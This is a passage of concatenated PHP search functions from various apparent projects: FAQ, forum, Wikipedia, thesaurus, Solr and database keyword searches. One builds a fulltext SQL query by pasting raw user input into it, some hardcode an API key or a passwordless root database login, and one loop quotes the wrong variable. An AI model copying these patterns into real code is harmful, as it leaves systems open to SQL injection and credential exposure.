($phrase) {\n\t\t\tcase 'exact':\n\t\t\t\t$text = $db->quote('%'.$text.'%', true);\n\t\t\t\t\n\t\t\t\t$wheres2\t= array();\n\t\t\t\t$wheres2[]\t= 'a.question LIKE '.$text;\n\t\t\t\t$wheres2[]\t= 'a.answer LIKE '.$text;\n\t\t\t\t$wheres2[]\t= 'a.metakey LIKE '.$text;\n\t\t\t\t$wheres2[]\t= 'a.metadesc LIKE '.$text;\n\t\t\t\t$where\t\t= '(' . implode(') OR (', $wheres2) . ')';\n\t\t\t\tbreak;\n\n\t\t\tcase 'all':\n\t\t\tcase 'any':\n\t\t\tdefault:\n\t\t\t\t$words = explode(' ', $text);\n\t\t\t\t$wheres = array();\n\t\t\t\tforeach ($words as $word) {\n\t\t\t\t\t$word = $db->quote('%'.$text.'%', true);\n\t\t\t\t\t\n\t\t\t\t\t$wheres2\t= array();\n\t\t\t\t\t$wheres2[]\t= 'a.question LIKE '.$word;\n\t\t\t\t\t$wheres2[]\t= 'a.answer LIKE '.$word;\n\t\t\t\t\t$wheres2[]\t= 'a.metakey LIKE '.$word;\n\t\t\t\t\t$wheres2[]\t= 'a.metadesc LIKE '.$word;\n\t\t\t\t\t$wheres[]\t= implode(' OR ', $wheres2);\n\t\t\t\t}\n\t\t\t\t$where = '(' . implode(($phrase == 'all' ? ') AND (' : ') OR ('), $wheres) . ')';\n\t\t\t\tbreak;\t\t\t\t\n\t\t\t\t\n\t\t}\n\t\t\n\t\tswitch ($ordering) {\n\t\t\tcase 'oldest':\n\t\t\t\t$order = 'a.created ASC';\n\t\t\t\tbreak;\n\t\t\tcase 'alpha':\n\t\t\t\t$order = 'a.question ASC';\n\t\t\t\tbreak;\n\t\t\tcase 'category':\n\t\t\t\t$order = 'c.title ASC, a.question ASC';\n\t\t\t\tbreak;\n\t\t\tcase 'popular':\n\t\t\tcase 'newest':\n\t\t\tdefault:\n\t\t\t\t$order = 'a.created DESC';\n\t\t\t\tbreak;\n\t\t}\t\n\n\t\t$query = $db->getQuery(true);\n\t\t\n\t\t$case_when = ' CASE WHEN ';\n\t\t$case_when .= $query->charLength('c.alias');\n\t\t$case_when .= ' THEN ';\n\t\t$c_id = $query->castAsChar('c.id');\n\t\t$case_when .= $query->concatenate(array($c_id, 'c.alias'), ':');\n\t\t$case_when .= ' ELSE ';\n\t\t$case_when .= $c_id.' END as catslug';\n\t\t\t\t\n\t\t$query->select('a.id, a.question AS title, a.answer AS text, a.created, a.metakey, a.metadesc, c.title AS section, '.$case_when);\n\t\t$query->where( '('. $where .' AND a.published = 1 AND c.published = 1 )' );\n\t\t$query->from('#__smfaq AS a');\n\t\t$query->join('INNER', '#__categories AS c ON c.id=a.catid AND extension='.$db->quote('com_smfaq'));\n\t\t$query->group('a.id, a.question, a.answer, a.metadesc, a.metakey, a.created, c.title, c.alias, c.id');\n\t\t$query->order($order);\n\t\t\n\t\t$db->setQuery($query, 0, $limit);\n\t\t\n\t\t$list = $db->loadObjectList();\n\t\t\n\t\tif ($list)\n\t\t{\n\t\t\tforeach($list as $key => $item)\n\t\t\t{\n\t\t\t\tif ($result_link) {\n\t\t\t\t\t$list[$key]->href = JRoute::_(SmfaqHelperRoute::getQuestionRoute($item->catslug, $item->id ));\n\t\t\t\t} else {\n\t\t\t\t\t$list[$key]->href = JRoute::_(SmfaqHelperRoute::getCategoryRoute($item->catslug).'&limit=0#p'.$item->id);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\t$list[$key]->browsernav = true;\n\t\t\t}\n\t\t}\t\n\n\t\treturn $list;\n\t}", "public function search($params) {\n\t\t$callUrl = \"https://en.wikipedia.org/w/api.php?action=query&list=search&utf8=&format=json&srlimit=5&srsearch=\".urlencode($params[\"q\"]);\n\n\t\t/**\n\t\t* Create curl request and send it\n\t\t*/\n\t\t$process = curl_init($callUrl);\n\t\tcurl_setopt($process, CURLOPT_HTTPHEADER, array('Accept: application/json'));\n\t\tcurl_setopt($process, CURLOPT_HEADER, 0);\n\t\tcurl_setopt($process, CURLOPT_TIMEOUT, 5);\n\t\tcurl_setopt($process, CURLOPT_RETURNTRANSFER, TRUE);\n\t\t$text = curl_exec($process);\n\t\tcurl_close($process);\n\t\t$raw = json_decode($text);\n\n\t\t/**\n\t\t * return message, if we could not get any results\n\t\t */\n\t\tif( count($raw->query->search) <= 0 ) {\n\t\t\t$answer = new Answer();\n\t\t\t$answer->addText(\"Unfortunately I was not able to find anything for *\" . $params[\"q\"] . \"*.\");\n\t\t\treturn $answer;\n\t\t}\n\n\t\t/**\n\t\t * get results into list\n\t\t */\n\t\t$answer = new Answer();\n\t\t$answer->addText(\"Here are the top wikipedia articles for *\" . $params[\"q\"] . \"*: \");\n\n\t\tforeach($raw->query->search as $res) {\n\t\t\t$answer->addAttachment(\n\t\t\t\tnew Attachment(\n\t\t\t\t\t$res->title,\n\t\t\t\t\tstrip_tags($res->snippet),\n\t\t\t\t\t\"https://en.wikipedia.org/wiki/\" . rawurlencode($res->title)\n\t\t\t\t)\n\t\t\t);\n\t\t}\n\t\treturn $answer;\n\t}", "protected static function display_results() {\n $locale = self::$locale;\n self::$composevars = \"method=\".self::get_param('method').\"&amp;datelimit=\".self::get_param('datelimit').\"&amp;fields=\".self::get_param('fields').\"&amp;sort=\".self::get_param('sort').\"&amp;order=\".self::get_param('order').\"&amp;chars=\".self::get_param('chars').\"&amp;forum_id=\".self::get_param('forum_id').\"&amp;\";\n add_to_title($locale['global_201'].$locale['408']);\n\n $search_text = explode(' ', urldecode(self::$search_text));\n $qualified_search_text = [];\n $disqualified_search_text = [];\n\n /*\n * @todo: roadmap on author\n */\n self::$fields_count = self::get_param('fields') + 1;\n for ($i = 0, $k = 0; $i < count($search_text); $i++) {\n if (strlen($search_text[$i]) >= 3) {\n $qualified_search_text[] = $search_text[$i];\n for ($j = 0; $j < self::$fields_count; $j++) {\n // It is splitting to 2 parts.\n self::$search_param[':sword'.$k.$j] = '%'.$search_text[$i].'%';\n }\n $k++;\n } else {\n $disqualified_search_text[] = $search_text[$i];\n }\n }\n unset($search_text);\n self::$swords = $qualified_search_text;\n\n self::$c_swords = count($qualified_search_text) ?: redirect(FUSION_SELF);\n self::$i_swords = count($disqualified_search_text);\n\n self::$swords_keys_for_query = array_keys(self::$search_param);\n self::$swords_values_for_query = array_values(self::$search_param);\n\n // Highlight using Jquery the words. This, can actually parse as settings.\n $highlighted_text = \"\";\n $i = 1;\n foreach ($qualified_search_text as $value) {\n $highlighted_text .= \"'\".$value.\"'\";\n $highlighted_text .= ($i < self::$c_swords ? \",\" : \"\");\n $i++;\n }\n add_to_footer(\"<script type='text/javascript' src='\".INCLUDES.\"jquery/jquery.highlight.js'></script>\");\n add_to_jquery(\"$('.search_result').highlight([\".$highlighted_text.\"],{wordsOnly:true}); $('.highlight').css({backgroundColor:'#FFFF88'});\");\n\n /*\n * Run the drivers via include.. but this method need to change to simplify the kiss concept.\n */\n if (self::get_param('stype') == \"all\") {\n $search_deffiles = [];\n $search_includefiles = makefilelist(INCLUDES.'search/', '.|..|index.php|location.json.php|users.json.php|.DS_Store', TRUE, 'files');\n $search_infusionfiles = makefilelist(INFUSIONS, '.|..|index.php', TRUE, 'folders');\n if (!empty($search_infusionfiles)) {\n foreach ($search_infusionfiles as $files_to_check) {\n if (is_dir(INFUSIONS.$files_to_check.'/search/')) {\n $search_checkfiles = makefilelist(INFUSIONS.$files_to_check.'/search/', \".|..|index.php\", TRUE, \"files\");\n $search_deffiles = array_merge($search_deffiles, $search_checkfiles);\n }\n }\n }\n $search_files = array_merge($search_includefiles, $search_deffiles);\n\n foreach ($search_files as $key => $file_to_check) {\n if (preg_match(\"/include.php/i\", $file_to_check)) {\n if (file_exists(INCLUDES.\"search/\".$file_to_check)) {\n self::__Load(INCLUDES.\"search/\".$file_to_check);\n }\n\n foreach ($search_infusionfiles as $inf_files_to_check) {\n if (file_exists(INFUSIONS.$inf_files_to_check.'/search/'.$file_to_check)) {\n self::__Load(INFUSIONS.$inf_files_to_check.'/search/'.$file_to_check);\n }\n }\n }\n }\n } else {\n if (file_exists(INCLUDES.\"search/search_\".self::get_param('stype').\"_include.php\")) {\n self::__Load(INCLUDES.\"search/search_\".self::get_param('stype').\"_include.php\");\n }\n\n $search_infusionfiles = makefilelist(INFUSIONS, '.|..|index.php', TRUE, 'folders');\n foreach ($search_infusionfiles as $inf_files_to_check) {\n if (file_exists(INFUSIONS.$inf_files_to_check.'/search/search_'.self::get_param('stype').'_include.php')) {\n self::__Load(INFUSIONS.$inf_files_to_check.'/search/search_'.self::get_param('stype').'_include.php');\n }\n }\n }\n\n // Show how many disqualified search texts\n $c_iwords = count($disqualified_search_text);\n if ($c_iwords) {\n $txt = \"\";\n for ($i = 0; $i < $c_iwords; $i++) {\n $txt .= $disqualified_search_text[$i].($i < $c_iwords - 1 ? \", \" : \"\");\n }\n echo \"<div class='well m-t-10 text-center strong'>\".sprintf($locale['502'], $txt).\"</div><br />\";\n }\n\n /*$c_search_result_array = count(self::$search_result_array);\n\n if (self::get_param('stype') == \"all\") {\n $from = self::get_param('rowstart');\n $to = ($c_search_result_array - (self::get_param('rowstart') + 10)) <= 0 ? $c_search_result_array : self::get_param('rowstart') + 10;\n } else {\n $from = 0;\n $to = $c_search_result_array < 10 ? $c_search_result_array : 10;\n }*/\n\n /*\n * HTML output\n */\n if (self::get_param('stype') == \"all\") {\n parent::search_navigation(0);\n echo strtr(Search::render_search_count(), [\n '{%search_count%}' => self::$items_count,\n '{%result_text%}' => ((self::$site_search_count > 100 || parent::search_globalarray(\"\")) ? \"<br/>\".sprintf($locale['530'], self::$site_search_count) : \"<br/>\".self::$site_search_count.\" \".$locale['510'])\n ]);\n } else {\n echo strtr(Search::render_search_count(), [\n '{%search_count%}' => self::$items_count,\n '{%result_text%}' => ((self::$site_search_count > 100 || parent::search_globalarray(\"\")) ? \"<br/><strong>\".sprintf($locale['530'], self::$site_search_count).\"</strong>\" : (empty(self::$site_search_count) ? $locale['500'] : ''))\n ]);\n }\n\n echo \"<div class='search_result'>\\n\";\n echo \"<div class='block'>\\n\";\n foreach (self::$search_result_array as $results) {\n echo $results;\n }\n\n // Now it is by per module. Therefore rowstart does not apply\n //for ($i = $from; $i < $to; $i++) {\n // echo self::$search_result_array[$i];\n //}\n echo \"</div>\\n\";\n echo \"</div>\\n\";\n\n if (self::get_param('stype') != \"all\") {\n echo self::$navigation_result;\n }\n }", "public function findFulltext($query, $key = 'text')\n {\n if ( empty($query) ) {\n return null;\n }\n return $this\n ->findAll()\n ->where(\n \"(`name` LIKE ?) OR (LOWER(`\" . $key . \"`) LIKE ?)\",\n \"%\" . strtolower($query) . \"%\",\n \"%\" . strtolower($query) . \"%\"\n );\n }", "public function search()\n {\n // Start calculating the execution time.\n $start = microtime(true);\n\n $query = Document::sanitize(Input::get('query'));\n\n // Validate the input.\n $validator = Validator::make([\n 'query' => $query,\n ], [\n 'query' => 'required|min:4'\n ]);\n\n // Check the validation.\n if ($validator->fails())\n {\n return Redirect::home()->with('error_message', 'الرجاء إدخال كلمة البحث و التي لا تقل عن 3 أحرف.');\n }\n\n // Other than that, everything is great.\n // TODO: Maybe rank them then order them by the ranking.\n $results = Document::whereRaw('MATCH(title, content) AGAINST(?)', [$query])->get();\n\n if ($results->count() == 0)\n {\n return Redirect::home()->with('warning_message', 'لم يتم العثور على نتائج لبحثك.');\n }\n\n $keywords = explode(' ', $query);\n\n $finish = microtime(true);\n\n $taken_time = round(($finish-$start), 3);\n\n // If there is at least one result, show it.\n return View::make('pages.search')->with(compact('results', 'query', 'keywords', 'taken_time'));\n }", "function search($keywords)\r\n {\r\n\r\n }", "function synonym_lookup($query) {\n\n $apikey = \"GdbOBg1JYIou4guyIKfq\"; // NOTE: replace test_only with your own key \n $word = $query; // any word \n $language = \"en_US\"; // you can use: en_US, es_ES, de_DE, fr_FR, it_IT \n $endpoint = \"http://thesaurus.altervista.org/thesaurus/v1\";\n\n\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL, \"$endpoint?word=\" . urlencode($word) . \"&language=$language&key=$apikey&output=json\");\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n $data = curl_exec($ch);\n $info = curl_getinfo($ch);\n curl_close($ch);\n\n //either return $result populated with the JSON decoded data\n if ($info['http_code'] == 200) {\n $result = json_decode($data, true);\n }\n\n\n //or return result as 0\n else {\n $result = 0;\n }\n\n return $result;\n}", "public function searchArticle(Request $request){\n// $sqlResult = DB::select('SELECT * FROM articles WHERE title LIKE ?',['%'.$request->input('search_article').'%']);\n $sqlResult = DB::select('SELECT * FROM articles WHERE MATCH(title) AGAINST (?)',[$request->input('search_article')]);\n dd($sqlResult);\n }", "function media_bynder_parse_facet_link($query) {\n $pattern = '/\\+\\([A-Za-z0-9 ]*\\)/';\n preg_match($pattern, $query, $matches);\n $query = urlencode($query);\n if (!empty($matches)) {\n $query = $query . '&search=' . substr(trim($matches[0]), 2, -1);\n }\n\n return $query;\n}", "protected function search()\n\t{\n\t\treturn Phpfox::getLib('search');\t\n\t}", "function Search()\n{\n\tglobal $txt, $settings, $context;\n\n\t// Search may be disabled if they're softly banned.\n\tsoft_ban('search');\n\n\t// Is the load average too high to allow searching just now?\n\tif (!empty($context['load_average']) && !empty($settings['loadavg_search']) && $context['load_average'] >= $settings['loadavg_search'])\n\t\tfatal_lang_error('loadavg_search_disabled', false);\n\n\tloadLanguage('Search');\n\tloadTemplate('Search');\n\n\t// Popup mode?\n\tif (AJAX)\n\t{\n\t\twetem::load('search_ajax');\n\t\treturn;\n\t}\n\n\t// Check the user's permissions.\n\tisAllowedTo('search_posts');\n\n\t// Link tree....\n\t// !!! If we've come back here because of an error, we're going to have: Site > Search > Search Results > Search in the linktree. Is this what we want?\n\tadd_linktree($txt['search'], '<URL>?action=search');\n\n\t// This is hard coded maximum string length.\n\t$context['search_string_limit'] = 100;\n\n\t$context['require_verification'] = we::$is_guest && !empty($settings['search_enable_captcha']) && empty($_SESSION['ss_vv_passed']);\n\tif ($context['require_verification'])\n\t{\n\t\tloadSource('Subs-Editor');\n\t\t$verificationOptions = array(\n\t\t\t'id' => 'search',\n\t\t);\n\t\t$context['require_verification'] = create_control_verification($verificationOptions);\n\t\t$context['visual_verification_id'] = $verificationOptions['id'];\n\t}\n\n\t// If you got back from search2 by using the linktree, you get your original search parameters back.\n\tif (isset($_REQUEST['params']))\n\t{\n\t\t// Due to IE's 2083 character limit, we have to compress long search strings\n\t\t$temp_params = base64_decode(str_replace(array('-', '_', '.'), array('+', '/', '='), $_REQUEST['params']));\n\t\t// Test for gzuncompress failing\n\t\t$temp_params2 = @gzuncompress($temp_params);\n\t\t$temp_params = explode('|\"|', !empty($temp_params2) ? $temp_params2 : $temp_params);\n\n\t\t$context['search_params'] = array();\n\t\tforeach ($temp_params as $i => $data)\n\t\t{\n\t\t\t@list ($k, $v) = explode('|\\'|', $data);\n\t\t\t$context['search_params'][$k] = $v;\n\t\t}\n\t\tif (!empty($context['search_params']['brd']))\n\t\t\tloadSource('Search2');\n\t\t$context['search_params']['brd'] = empty($context['search_params']['brd']) ? array() : wedge_ranged_explode(',', $context['search_params']['brd']);\n\t}\n\n\tif (isset($_REQUEST['search']))\n\t\t$context['search_params']['search'] = un_htmlspecialchars($_REQUEST['search']);\n\n\tif (isset($context['search_params']['search']))\n\t\t$context['search_params']['search'] = westr::htmlspecialchars($context['search_params']['search']);\n\tif (isset($context['search_params']['userspec']))\n\t\t$context['search_params']['userspec'] = htmlspecialchars($context['search_params']['userspec']);\n\tif (!empty($context['search_params']['searchtype']))\n\t\t$context['search_params']['searchtype'] = 2;\n\tif (!empty($context['search_params']['minage']))\n\t\t$context['search_params']['minage'] = (int) $context['search_params']['minage'];\n\tif (!empty($context['search_params']['maxage']))\n\t\t$context['search_params']['maxage'] = (int) $context['search_params']['maxage'];\n\n\t$context['search_params']['show_complete'] = !empty($context['search_params']['show_complete']);\n\t$context['search_params']['subject_only'] = !empty($context['search_params']['subject_only']);\n\n\t// Load the error text strings if there were errors in the search.\n\tif (!empty($context['search_errors']))\n\t{\n\t\tloadLanguage('Errors');\n\t\t$context['search_errors']['messages'] = array();\n\t\tforeach ($context['search_errors'] as $search_error => $dummy)\n\t\t{\n\t\t\tif ($search_error === 'messages')\n\t\t\t\tcontinue;\n\n\t\t\t$context['search_errors']['messages'][] = $txt['error_' . $search_error];\n\t\t}\n\t}\n\n\t// Find all the boards this user is allowed to see.\n\t$request = wesql::query('\n\t\tSELECT b.id_cat, c.name AS cat_name, b.id_board, b.name, b.child_level\n\t\tFROM {db_prefix}boards AS b\n\t\t\tLEFT JOIN {db_prefix}categories AS c ON (c.id_cat = b.id_cat)\n\t\tWHERE {query_see_board}\n\t\t\tAND redirect = {string:empty_string}\n\t\tORDER BY b.board_order',\n\t\tarray(\n\t\t\t'empty_string' => '',\n\t\t)\n\t);\n\t$context['num_boards'] = wesql::num_rows($request);\n\t$context['boards_check_all'] = true;\n\t$context['categories'] = array();\n\twhile ($row = wesql::fetch_assoc($request))\n\t{\n\t\t// This category hasn't been set up yet...\n\t\tif (!isset($context['categories'][$row['id_cat']]))\n\t\t\t$context['categories'][$row['id_cat']] = array(\n\t\t\t\t'id' => $row['id_cat'],\n\t\t\t\t'name' => $row['cat_name'],\n\t\t\t\t'boards' => array()\n\t\t\t);\n\n\t\t// Set this board up, and let the template know when it's a child, so it can indent them.\n\t\t$context['categories'][$row['id_cat']]['boards'][$row['id_board']] = array(\n\t\t\t'id' => $row['id_board'],\n\t\t\t'name' => $row['name'],\n\t\t\t'child_level' => $row['child_level'],\n\t\t\t'selected' => (empty($context['search_params']['brd']) && (empty($settings['recycle_enable']) || $row['id_board'] != $settings['recycle_board']) && !in_array($row['id_board'], we::$user['ignoreboards'])) || (!empty($context['search_params']['brd']) && in_array($row['id_board'], $context['search_params']['brd']))\n\t\t);\n\n\t\t// If a board wasn't checked that probably should have been, ensure the board selection is selected!\n\t\tif (!$context['categories'][$row['id_cat']]['boards'][$row['id_board']]['selected'] && (empty($settings['recycle_enable']) || $row['id_board'] != $settings['recycle_board']))\n\t\t\t$context['boards_check_all'] = false;\n\t}\n\twesql::free_result($request);\n\n\t// Now, let's sort the list of categories into the boards for templates that like that.\n\t$temp_boards = array();\n\tforeach ($context['categories'] as $category)\n\t{\n\t\t$temp_boards[] = array(\n\t\t\t'name' => $category['name'],\n\t\t\t'child_ids' => array_keys($category['boards'])\n\t\t);\n\t\t$temp_boards = array_merge($temp_boards, array_values($category['boards']));\n\n\t\t// Include a list of boards per category for easy toggling.\n\t\t$context['categories'][$category['id']]['child_ids'] = array_keys($category['boards']);\n\t}\n\n\t$max_boards = ceil(count($temp_boards) / 2);\n\tif ($max_boards == 1)\n\t\t$max_boards = 2;\n\n\t// Now, alternate them so they can be shown left and right ;).\n\t$context['board_columns'] = array();\n\tfor ($i = 0; $i < $max_boards; $i++)\n\t{\n\t\t$context['board_columns'][] = $temp_boards[$i];\n\t\tif (isset($temp_boards[$i + $max_boards]))\n\t\t\t$context['board_columns'][] = $temp_boards[$i + $max_boards];\n\t\telse\n\t\t\t$context['board_columns'][] = array();\n\t}\n\n\tif (!empty($_REQUEST['topic']))\n\t{\n\t\t$context['search_params']['topic'] = (int) $_REQUEST['topic'];\n\t\t$context['search_params']['show_complete'] = true;\n\t}\n\tif (!empty($context['search_params']['topic']))\n\t{\n\t\t$context['search_params']['topic'] = (int) $context['search_params']['topic'];\n\n\t\t$context['search_topic'] = array(\n\t\t\t'id' => $context['search_params']['topic'],\n\t\t\t'href' => '<URL>?topic=' . $context['search_params']['topic'] . '.0',\n\t\t);\n\n\t\t$request = wesql::query('\n\t\t\tSELECT ms.subject\n\t\t\tFROM {db_prefix}topics AS t\n\t\t\t\tINNER JOIN {db_prefix}boards AS b ON (b.id_board = t.id_board)\n\t\t\t\tINNER JOIN {db_prefix}messages AS ms ON (ms.id_msg = t.id_first_msg)\n\t\t\tWHERE t.id_topic = {int:search_topic_id}\n\t\t\t\tAND {query_see_board}\n\t\t\t\tAND {query_see_topic}\n\t\t\tLIMIT 1',\n\t\t\tarray(\n\t\t\t\t'search_topic_id' => $context['search_params']['topic'],\n\t\t\t)\n\t\t);\n\n\t\tif (wesql::num_rows($request) == 0)\n\t\t\tfatal_lang_error('topic_gone', false);\n\n\t\tlist ($context['search_topic']['subject']) = wesql::fetch_row($request);\n\t\twesql::free_result($request);\n\n\t\t$context['search_topic']['link'] = '<a href=\"' . $context['search_topic']['href'] . '\">' . $context['search_topic']['subject'] . '</a>';\n\t}\n\n\t$context['page_title'] = $txt['search'];\n}", "public function getMatches(string $text, string $searchString): array\n {\n $searchString = preg_replace('!{\\?}!', ' ', $searchString);\n $searchString = preg_replace('?/?', '\\/', $searchString);\n $strRegex = '/{' . $searchString . '+(.*?)}/i';\n preg_match_all($strRegex, $text, $matches, PREG_SET_ORDER);\n return $matches;\n }", "function search_video_list_of($query_id) {\n\n global $data_base;\n\n $request = $data_base->prepare(\"\n SELECT *\n FROM imago_info_video \n WHERE type = 'tvshow'\n AND LOWER(replace(title,'é','e')) LIKE replace(LOWER(?),'é','e') \n \");\n\n $request->execute(array(\"%\" . $query_id . \"%\"));\n\n return $request->fetchAll(PDO::FETCH_ASSOC);\n }", "public function getSearchResults($searchQuery) {\n\t\treturn DataObject::get(\"FlowState\", \"MATCH (\". $this->getSearchableFields() .\") AGAINST ('\". $searchQuery .\"' IN BOOLEAN MODE)\");\n\t}", "function searchQuery($client, $textoAbuscar)\n {\n echo '<h2>SOLR: This is the result of your search in the Solr database with this text: \"'.$textoAbuscar.'\"</h2><br />';\n // get a select query instance\n $query = $client->createSelect();\n\n // get the facetset component\n $facetSet = $query->getFacetSet();\n\n // create a facet field instance and set options\n $facetSet->createFacetField('Rts')->setField('retweet_count');\n\n // set a query (all prices starting from 12)\n //$query->setQuery('price:[12 TO *]');\n $query->setQuery('full_text: *'.$textoAbuscar.'*');\n\n // set start and rows param (comparable to SQL limit) using fluent interface\n $query->setStart(2)->setRows(20);\n\n // set fields to fetch (this overrides the default setting 'all fields')\n //$query->setFields(array('ID','username','favorite_count', 'description','full_text'));\n\n // sort the results by price ascending\n //$query->addSort('price', $query::SORT_ASC);\n $query->addSort('favorite_count', $query::SORT_ASC);\n\n // this executes the query and returns the result\n $resultset = $client->select($query);\n\n // display the total number of documents found by solr\n echo 'NumFound: '.$resultset->getNumFound();\n\n // show documents using the resultset iterator\n foreach ($resultset as $document) {\n\n echo '<hr/><table>';\n\n // the documents are also iterable, to get all fields\n foreach ($document as $field => $value) {\n // this converts multivalue fields to a comma-separated string\n if (is_array($value)) {\n $value = implode(', ', $value);\n }\n\n echo '<tr><th>' . $field . '</th><td>' . $value . '</td></tr>';\n }\n\n echo '</table>';\n }\n\n // display facet counts\n echo '<hr/>Facet counts for field \"retweet_count\":<br/>';\n $facet = $resultset->getFacetSet()->getFacet('Rts');\n foreach ($facet as $value => $count) {\n echo $value . ' [' . $count . ']<br/>';\n }\n\n }", "public static function search () {\n\t\trequire_once ('apps/wiki/lib/markdown.php');\n\t\trequire_once ('apps/wiki/lib/Functions.php');\n\n\t\t$pages = self::query ()\n\t\t\t->fetch_orig ();\n\t\t\n\t\tforeach ($pages as $i => $page) {\n\t\t\t$url = 'wiki/' . $page->id;\n\t\t\tif (! Search::add (\n\t\t\t\t'wiki/' . $page->id,\n\t\t\t\tarray (\n\t\t\t\t\t'title' => str_replace ('-', ' ', $page->id),\n\t\t\t\t\t'text' => wiki_parse_body ($page->body),\n\t\t\t\t\t'url' => '/wiki/' . $page->id\n\t\t\t\t)\n\t\t\t)) {\n\t\t\t\treturn array (false, $i);\n\t\t\t}\n\t\t}\n\t\treturn array (true, count ($pages));\n\t}", "public function searchTweets($params = array());", "function search($file, $list, $keyword = null) {\n\t\t\t\t$listString = \"\";\n\t\t\t\t$first = true;\n\t\t\t\t//cycle through the list of search criteria to search for from the resume\n\t\t\t\tfor($x = 0; $x < count($list); $x++) {\n\t\t\t\t\t//if abbreviations are applicable to the search criteria, search for both the abbreviations and the full keyword. If abbreviations are not applicable, just search for the full keyword name\n\t\t\t\t\tif (array_key_exists('abbreviations', $list[$x])) {\n\t\t\t\t\t\t$searchWord = $list[$x][\"{$keyword}\"];\n\t\t\t\t\t\t$searchAbbr = $list[$x][\"abbreviations\"];\n\t\t\t\t\t\t$searchWord = str_replace('+', '\\+', $searchWord);\n\t\t\t\t\t\t$cont = FALSE;\n\t\t\t\t\t\tif ((!empty($searchWord)) && (preg_match(\"/\\b$searchWord/i\",$file))) {\n\t\t\t\t\t\t\t$cont = TRUE;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ((!empty($searchAbbr)) && (preg_match(\"/\\b$searchAbbr\\b/\",$file))) {\n\t\t\t\t\t\t\t$cont = TRUE;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif($cont) {\n\t\t\t\t\t\t\t$add = \"\";\n\t\t\t\t\t\t\tif($first == false) {\n\t\t\t\t\t\t\t\t$listString = $listString.\",\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tif (!empty($list[$x][\"abbreviations\"])) {\n\t\t\t\t\t\t\t\t$add .= $list[$x][\"abbreviations\"].\": \";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$add .= $list[$x][\"{$keyword}\"];\n\t\t\t\t\t\t\t$listString = $listString.\"$add\";\n\t\t\t\t\t\t\t$first = false;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\tif(stripos($file, $list[$x])) {\n\t\t\t\t\t\t\tif($first == false) {\n\t\t\t\t\t\t\t\t$listString = $listString.\",\";\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t$add = $list[$x];\n\t\t\t\t\t\t\t$listString = $listString.\"$add\";\n\t\t\t\t\t\t\t$first = false;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\treturn $listString;\n\t\t\t}", "public static function searchParse($url, $data, $params, $index)\n {\n// $entities = array('%21', '%2A', '%27', '%28', '%29', '%3B', '%3A', '%40', '%26', '%3D', '%2B', '%24', '%2C', '%2F', '%3F', '%25', '%23', '%5B', '%5D');\n// $replacements = array('!', '*', \"'\", \"(\", \")\", \";\", \":\", \"@\", \"&\", \"=\", \"+\", \"$\", \",\", \"/\", \"?\", \"%\", \"#\", \"[\", \"]\");\n// $data = preg_replace($replacements, $entities, $data);\n $data = rawurlencode($data);\n try {\n $html = file_get_contents($url.$params['searchUrl'].$data);\n } catch (\\ErrorException $e) {\n return [];\n }\n $html = HtmlDomParser::str_get_html($html);\n if ($html == '') {\n Log::info('Failed url ... ' . $index);\n return [];\n }\n Log::info('Found url ... ' . $index);\n $names = null;\n $urls = null;\n $authors = null;\n $images = null;\n\n if ($params['name_search']) {\n if ($params['name_search_count'] !== null) {\n Log::info('Searching for book name ... ' . $index);\n $names = $html->find($params['name_search'])[0]->nodes[$params['name_search_count']];\n Log::info('Found book name ... ' . $index);\n } else {\n Log::info('Searching for book name ... ' . $index);\n $names = $html->find($params['name_search']);\n Log::info('Found book name ... ' . $index);\n }\n }\n if ($params['name_url']) {\n if ($params['name_url_count'] !== null) {\n Log::info('Searching for book url ... ' . $index);\n $urls = $html->find($params['name_url'])[0]->nodes[$params['name_url_count']];\n Log::info('Found book url ... ' . $index);\n } else {\n Log::info('Searching for book url ... ' . $index);\n $urls = $html->find($params['name_url']);\n Log::info('Found book url ... ' . $index);\n }\n }\n if ($params['author']) {\n if ($params['author_count'] !== null) {\n Log::info('Searching for book author ... ' . $index);\n $authors = $html->find($params['author'])[0]->nodes[$params['author_count']];\n Log::info('Found book author ... ' . $index);\n } else {\n Log::info('Searching for book author ... ' . $index);\n $authors = $html->find($params['author']);\n Log::info('Found book author ... ' . $index);\n }\n }\n\n if ($params['search_image']) {\n Log::info('Searching for book image... ' . $index);\n $images = $html->find($params['search_image']);\n Log::info('Found book image ... ' . $index);\n }\n $result = [];\n if ($names && $urls) {\n for ($i = 0; $i < count($names); $i++) {\n $result[] = [$names[$i]->plaintext, $urls[$i]->href, isset($images[$i]->attr['data-src']) ? $images[$i]->attr['data-src'] : $images[$i]->attr['src']];\n }\n }\n\n return $result;\n }", "function search() {\n\t$clauses = [];\n\t$params = [];\n\n // When searching for fire/last name, we use like clauses for fuzzy searching.\n buildLikeClause('first_name', 'first_name', $params, $clauses);\n buildLikeClause('last_name', 'last_name', $params, $clauses);\n\n // Do an equality search for the dept.\n if (isset($_GET['dept'])) {\n $dept = trim($_GET['dept']);\n if (strlen($dept)) {\n $clauses[] = \"dept = ?\";\n $params[] = $dept;\n }\n }\n\n // Use equality searching for courses and p_langs.\n buildAlternationSubClause('courses', 'courses', $params, $clauses);\n buildAlternationSubClause('p_langs', 'p_langs', $params, $clauses);\n\n // Connect to the db.\n $db = new PDO(\"mysql:host=localhost;dbname=cmpe226\", \"root\", \"\");\n $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\n // Finish constructing our sql.\n $sql = 'SELECT * FROM studentrecord_assignment1';\n if ($clauses) {\n $sql .= ' where ' . join(' and ', $clauses);\n }\n\n // Execute and fetch.\n $stmt = $db->prepare($sql);\n $stmt->execute($params);\n return $stmt->fetchAll(PDO::FETCH_ASSOC);\n}", "protected function searchThesaurus($searchWord) {\n\n\t\t\t$apiResponseArray \t= array();\n\t\t\t$curlInit \t\t\t= curl_init();\n\n\t\t\t//Note: change this to use setters/getters\n\t\t\t$endPoint \t= $this->endPoint;\n\t\t\t$language \t= $this->language;\n\t\t\t$apiKey \t= 